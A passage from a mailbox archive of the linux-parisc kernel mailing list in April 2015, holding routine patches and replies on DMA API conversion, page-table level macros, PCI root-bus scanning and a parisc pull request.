+	rc = dma_set_mask(&pci->dev, DMA_BIT_MASK(30));
 	if (rc < 0) {
 		dev_err(&pci->dev, "architecture does not support 30-bit PCI busmaster DMA");
 		goto error_out_enabled;
--- a/sound/pci/sonicvibes.c
+++ b/sound/pci/sonicvibes.c
@@ -1259,8 +1259,8 @@ static int snd_sonicvibes_create(struct
 	if ((err = pci_enable_device(pci)) < 0)
 		return err;
 	/* check, if we can restrict PCI DMA transfers to 24 bits */
-        if (pci_set_dma_mask(pci, DMA_BIT_MASK(24)) < 0 ||
-	    pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(24)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(24)) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(24)) < 0) {
 		dev_err(card->dev,
 			"architecture does not support 24bit PCI busmaster DMA\n");
 		pci_disable_device(pci);
--- a/sound/pci/trident/trident_main.c
+++ b/sound/pci/trident/trident_main.c
@@ -3551,8 +3551,8 @@ int snd_trident_create(struct snd_card *
 	if ((err = pci_enable_device(pci)) < 0)
 		return err;
 	/* check, if we can restrict PCI DMA transfers to 30 bits */
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(30)) < 0 ||
-	    pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(30)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(30)) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(30)) < 0) {
 		dev_err(card->dev,
 			"architecture does not support 30bit PCI busmaster DMA\n");
 		pci_disable_device(pci);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: Replace PT_NLEVELS with CONFIG_PGTABLE_LEVELS
Date: Wed, 15 Apr 2015 13:34:28 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <1429130068-18096-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1429130100 14037 80.91.229.3 (15 Apr 2015 20:35:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Apr 2015 20:35:00 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Guenter Roeck <linux@roeck-us.net>,
	"Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 15 22:34:51 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YiU1E-0002Dq-HH
	for glpp-linux-parisc@plane.gmane.org; Wed, 15 Apr 2015 22:34:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754720AbbDOUen (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Apr 2015 16:34:43 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41581 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751929AbbDOUem (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Apr 2015 16:34:42 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=Message-Id:Date:Subject:Cc:To:From; bh=V/L4Cehb4USUPb9AWytz572z7oDwyN/LPX0HIxIjUm4=;
	b=hB4JYrlfHRvMJthylM8wYgB21eY/DnQIq20AT4BQgp9fQnzN+aeUa5BFkSCd5UBCn/uWXFlCa8vHeCFxksyUV3lz4Qp8I8KZlheqW+MSmzKqp4she9VY8nDjMjqKYx+GOXvS3QEtSiPCtfkeXUp94Irv7OeQMxuKhyIH73Ofmh8=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1YiU1B-001nCk-VD
	for linux-parisc@vger.kernel.org; Wed, 15 Apr 2015 20:34:42 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:43210 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1YiU10-001n5M-NZ; Wed, 15 Apr 2015 20:34:31 +0000
X-Mailer: git-send-email 2.1.0
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=-1.0
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020204.552ECB62.008E,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 3
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25699 gmane.linux.kernel:1931865
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25699>

The following warning is seen when compiling parisc images

./arch/parisc/include/asm/pgalloc.h: In function 'pgd_alloc':
./arch/parisc/include/asm/pgalloc.h:29:5: warning: "PT_NLEVELS" is not defined

Some definitions of PT_NLEVELS were missed with the conversion to
CONFIG_PGTABLE_LEVELS.

Fixes: f24ffde43237 ("parisc: expose number of page table levels
	on Kconfig level")
Cc: Kirill A. Shutemov <kirill.shutemov@linux.intel.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/parisc/include/asm/pgalloc.h | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
index 1ba29369257c..3a08eae3318f 100644
--- a/arch/parisc/include/asm/pgalloc.h
+++ b/arch/parisc/include/asm/pgalloc.h
@@ -26,7 +26,7 @@ static inline pgd_t *pgd_alloc(struct mm_struct *mm)
 
 	if (likely(pgd != NULL)) {
 		memset(pgd, 0, PAGE_SIZE<<PGD_ALLOC_ORDER);
-#if PT_NLEVELS == 3
+#if CONFIG_PGTABLE_LEVELS == 3
 		actual_pgd += PTRS_PER_PGD;
 		/* Populate first pmd with allocated memory.  We mark it
 		 * with PxD_FLAG_ATTACHED as a signal to the system that this
@@ -45,7 +45,7 @@ static inline pgd_t *pgd_alloc(struct mm_struct *mm)
 
 static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 {
-#if PT_NLEVELS == 3
+#if CONFIG_PGTABLE_LEVELS == 3
 	pgd -= PTRS_PER_PGD;
 #endif
 	free_pages((unsigned long)pgd, PGD_ALLOC_ORDER);
@@ -102,7 +102,7 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 static inline void
 pmd_populate_kernel(struct mm_struct *mm, pmd_t *pmd, pte_t *pte)
 {
-#if PT_NLEVELS == 3
+#if CONFIG_PGTABLE_LEVELS == 3
 	/* preserve the gateway marker if this is the beginning of
 	 * the permanent pmd */
 	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: Re: [PATCH] ALSA: remove deprecated use of pci api
Date: Thu, 16 Apr 2015 12:22:05 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <s5hmw28qsoi.wl-tiwai@suse.de>
References: <1429107018-8552-1-git-send-email-lambert.quentin@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1429179762 17619 80.91.229.3 (16 Apr 2015 10:22:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Apr 2015 10:22:42 +0000 (UTC)
Cc: Thibaut Varene <T-Bone@parisc-linux.org>,
	Jaroslav Kysela <perex@perex.cz>,
	Jaya Kumar <jayakumar.alsa@gmail.com>,
	linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
	linux-kernel@vger.kernel.org, kernel-janitors@vger.kernel.org
To: Quentin Lambert <lambert.quentin@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 16 12:22:26 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Yigw6-0000xk-Jk
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 Apr 2015 12:22:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756906AbbDPKWN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Apr 2015 06:22:13 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:48706 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754002AbbDPKWM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Apr 2015 06:22:12 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 03134AB13;
	Thu, 16 Apr 2015 10:22:09 +0000 (UTC)
In-Reply-To: <1429107018-8552-1-git-send-email-lambert.quentin@gmail.com>
User-Agent: Wanderlust/2.15.9 (Almost Unreal) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.9 (=?UTF-8?B?R29qxY0=?=) APEL/10.8 Emacs/24.4
 (x86_64-suse-linux-gnu) MULE/6.0 (HANACHIRUSATO)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25700 gmane.linux.alsa.devel:136995 gmane.linux.kernel:1932177 gmane.linux.kernel.janitors:33716
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25700>

At Wed, 15 Apr 2015 16:10:17 +0200,
Quentin Lambert wrote:
> 
> Replace occurences of the pci api by appropriate call to the dma api.
> 
> A simplified version of the semantic patch that finds this problem is as
> follows: (http://coccinelle.lip6.fr)
> 
> @deprecated@
> idexpression id;
> position p;
> @@
> 
> (
>   pci_dma_supported@p ( id, ...)
> |
>   pci_alloc_consistent@p ( id, ...)
> )
> 
> @bad1@
> idexpression id;
> position deprecated.p;
> @@
> ...when != &id->dev
>    when != pci_get_drvdata ( id )
>    when != pci_enable_device ( id )
> (
>   pci_dma_supported@p ( id, ...)
> |
>   pci_alloc_consistent@p ( id, ...)
> )
> 
> @depends on !bad1@
> idexpression id;
> expression direction;
> position deprecated.p;
> @@
> 
> (
> - pci_dma_supported@p ( id,
> + dma_supported ( &id->dev,
> ...
> + , GFP_ATOMIC
>   )
> |
> - pci_alloc_consistent@p ( id,
> + dma_alloc_coherent ( &id->dev,
> ...
> + , GFP_ATOMIC
>   )
> )
> 
> Signed-off-by: Quentin Lambert <lambert.quentin@gmail.com>

Thanks, applied to for-4.2 branch.


Takashi
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Replace PT_NLEVELS with CONFIG_PGTABLE_LEVELS
Date: Fri, 17 Apr 2015 15:58:34 +0300
Lines: 23
Approved: news@gmane.org
Message-ID: <20150417125834.GA3023@node.dhcp.inet.fi>
References: <1429130068-18096-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1429275544 6667 80.91.229.3 (17 Apr 2015 12:59:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Apr 2015 12:59:04 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	"Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 17 14:58:55 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Yj5rB-0003pg-2I
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 Apr 2015 14:58:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752532AbbDQM6w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 Apr 2015 08:58:52 -0400
Original-Received: from mta-out1.inet.fi ([62.71.2.227]:39963 "EHLO kirsi1.inet.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752410AbbDQM6v (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 Apr 2015 08:58:51 -0400
Original-Received: from node.shutemov.name (80.220.224.16) by kirsi1.inet.fi (8.5.142.08)
        id 5511FF6402E4E87F; Fri, 17 Apr 2015 15:58:37 +0300
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id 8503B406B0; Fri, 17 Apr 2015 15:58:34 +0300 (EEST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=shutemov.name;
	s=default; t=1429275514;
	bh=bZxPuDsmwybThMWr/+rfiw3Z/ET3rUg691XZ8nJYV7g=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=CHqRs5zulLvzj+xAAuBBIemZMAPPFFl9XLItIwlqe4OGfm9gHm3+r0q1PPqqsuOdN
	 lSTHFL6zfoBsqdbG01kE3aFw3MYCRioT1z0+94V1JefTEhZ/G+Q3mCIhn5VvvUwgb3
	 EOF7VfjMQrrwwiAx3E+XVra9rhX1KWO+qDxPcMvM=
Content-Disposition: inline
In-Reply-To: <1429130068-18096-1-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25701 gmane.linux.kernel:1932874
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25701>

On Wed, Apr 15, 2015 at 01:34:28PM -0700, Guenter Roeck wrote:
> The following warning is seen when compiling parisc images
> 
> ./arch/parisc/include/asm/pgalloc.h: In function 'pgd_alloc':
> ./arch/parisc/include/asm/pgalloc.h:29:5: warning: "PT_NLEVELS" is not defined
> 
> Some definitions of PT_NLEVELS were missed with the conversion to
> CONFIG_PGTABLE_LEVELS.
> 
> Fixes: f24ffde43237 ("parisc: expose number of page table levels
> 	on Kconfig level")
> Cc: Kirill A. Shutemov <kirill.shutemov@linux.intel.com>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>

Acked-by: Kirill A. Shutemov <kirill.shutemov@linux.intel.com>

-- 
 Kirill A. Shutemov
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yijing Wang <wangyijing@huawei.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc
Subject: [PATCH v10 22/29] parisc/PCI: Use pci_scan_root_bus() for simplicity
Date: Tue, 21 Apr 2015 19:34:41 +0800
Lines: 63
Approved: news@gmane.org
Message-ID: <1429616088-10249-23-git-send-email-wangyijing@huawei.com>
References: <1429616088-10249-1-git-send-email-wangyijing@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1429616386 27895 80.91.229.3 (21 Apr 2015 11:39:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Apr 2015 11:39:46 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@linux.intel.com>, <linux-pci@vger.kernel.org>,
	Yinghai Lu <yinghai@kernel.org>,
	<linux-kernel@vger.kernel.org>,
	Marc Zyngier <marc.zyngier@arm.com>,
	<linux-arm-kernel@lists.infradead.org>,
	Russell King <linux@arm.linux.org.uk>, <dja@axtens.net>,
	<x86@kernel.org>, Thomas Gleixner <tglx@linutronix.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	Tony Luck <tony.luck@intel.com>, <linux-ia64@vger.kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"Guan Xuetao" <gxt@mprc.pku.edu.cn>, <linux-alpha@vger.kernel.org>,
	<linux-m68k@lists.linux-m68k.org>, Liviu Dudau <liviu@dudau.co.uk>,
	"Arnd Bergmann" <arnd@arndb.de>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	"Yijing Wang" <wangyijing@huawei.com>,
	Yijing Wang <wangyijing0307@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	<linux-parisc@vger.ker
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 21 13:39:38 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YkWWd-0007OV-Dy
	for glk-linux-kernel-3@plane.gmane.org; Tue, 21 Apr 2015 13:39:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755474AbbDULjd (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 21 Apr 2015 07:39:33 -0400
Original-Received: from szxga02-in.huawei.com ([119.145.14.65]:15700 "EHLO
	szxga02-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754841AbbDULiZ (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 21 Apr 2015 07:38:25 -0400
Original-Received: from 172.24.2.119 (EHLO szxeml431-hub.china.huawei.com) ([172.24.2.119])
	by szxrg02-dlp.huawei.com (MOS 4.3.7-GA FastPath queued)
	with ESMTP id CKC39765;
	Tue, 21 Apr 2015 19:38:21 +0800 (CST)
Original-Received: from localhost.localdomain (10.175.100.166) by
 szxeml431-hub.china.huawei.com (10.82.67.208) with Microsoft SMTP Server id
 14.3.158.1; Tue, 21 Apr 2015 19:38:09 +0800
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1429616088-10249-1-git-send-email-wangyijing@huawei.com>
X-Originating-IP: [10.175.100.166]
X-CFilter-Loop: Reflected
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1934886 gmane.linux.kernel.pci:40976 gmane.linux.ports.arm.kernel:407990 gmane.linux.ports.ia64:25443 gmane.linux.ports.alpha:3047 gmane.linux.ports.parisc:25702
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1934886>

From: Yijing Wang <wangyijing0307@gmail.com>

Now pci_bus_add_devices() has been ripped out
from pci_scan_root_bus(), we could use pci_scan_root_bus()
instead of pci_create_root_bus() + pci_scan_child_bus()
for simplicity.

Signed-off-by: Yijing Wang <wangyijing@huawei.com>
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    6 +++---
 drivers/parisc/lba_pci.c |    5 +++--
 2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 56abc43..146c3ff 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -985,8 +985,8 @@ static int __init dino_probe(struct parisc_device *dev)
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	dino_dev->hba.hba_bus = bus = pci_create_root_bus(&dev->dev,
-			 0, &dino_cfg_ops, NULL, &resources);
+	dino_dev->hba.hba_bus = bus = pci_scan_root_bus(&dev->dev,
+			 0, dino_current_bus, &dino_cfg_ops, NULL, &resources);
 	if (!bus) {
 		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
 		       dev_name(&dev->dev), dino_current_bus);
@@ -996,7 +996,7 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
-	max = pci_scan_child_bus(bus);
+	max = pci_bus_child_max_busnr(bus);
 	pci_bus_update_busn_res_end(bus, max);
 
 	/* This code *depends* on scanning being single threaded
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 0b9ed96..24e42bf 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1563,13 +1563,14 @@ lba_driver_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
-		pci_create_root_bus(&dev->dev, 0, cfg_ops, NULL, &resources);
+		pci_scan_root_bus(&dev->dev, 0, lba_dev->hba.bus_num.start,
+				cfg_ops, NULL, &resources);
 	if (!lba_bus) {
 		pci_free_resource_list(&resources);
 		return 0;
 	}
 
-	max = pci_scan_child_bus(lba_bus);
+	max = pci_bus_child_max_busnr(lba_bus);
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
-- 
1.7.1


From - Thu Nov 08 21:37:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for v4.1
Date: Tue, 21 Apr 2015 22:59:22 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20150421205922.GA16749@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1429649985 3665 80.91.229.3 (21 Apr 2015 20:59:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Apr 2015 20:59:45 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 21 22:59:37 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YkfGZ-0005BS-7B
	for glpp-linux-parisc@plane.gmane.org; Tue, 21 Apr 2015 22:59:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755809AbbDUU7e (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 21 Apr 2015 16:59:34 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:50261 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752929AbbDUU7e (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 21 Apr 2015 16:59:34 -0400
Original-Received: from p100.box ([92.203.81.141]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MNqfr-1YiAA21aZP-007T3O; Tue, 21 Apr 2015 22:59:25
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:L7bYMrRG56Bq6dLEHX6qkP7FNrUudviEeN0qy2NblHxUvzc2g1K
 05snjXsr4HPkJ+/rJgfDDKl0SDV6/C4eYvjJ+9tE0pIGgn/i5bkkDdB5a5MoqWqSVVpgkZY
 E95mxaFJklyxQwh0Pb+nS0j1+WwPSpZ9XB5JAgQUNLR3Q9mECUUYHT8PBmLRjTA0JXt84Fz
 gXvsu9KKfbxst6RoTo5rg==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25703 gmane.linux.kernel:1935477
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25703>

Hi Linus,

Please pull two patches for kernel v4.1 for the parisc architecture from

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.1-1

The patch by Guenter Roeck fixes the build on parisc which got broken because
of commit f24ffde43237 (parisc: expose number of page table levels on Kconfig
level) and the patch from Matthew Wilcox converts our code to use the generic
scatterlist.h header file.
 
Thanks,
Helge

----------------------------------------------------------------
Guenter Roeck (1):
      parisc: Replace PT_NLEVELS with CONFIG_PGTABLE_LEVELS

Matthew Wilcox (1):
      parisc: Eliminate sg_virt_addr() and private scatterlist.h

 arch/parisc/include/asm/Kbuild        |  1 +
 arch/parisc/include/asm/pgalloc.h     |  6 +++---
 arch/parisc/include/asm/scatterlist.h | 10 ----------
 arch/parisc/kernel/pci-dma.c          |  8 ++++----
 drivers/parisc/ccio-dma.c             |  6 +++---
 drivers/parisc/iommu-helpers.h        | 26 ++++++++++++++------------
 drivers/parisc/sba_iommu.c            |  7 +++----
 7 files changed, 28 insertions(+), 36 deletions(-)
 delete mode 100644 arch/parisc/include/asm/scatterlist.h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: 4.0 parisc regression: memory leak?
Date: Sat, 25 Apr 2015 22:19:12 +0300 (EEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.11.1504242317450.14818@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
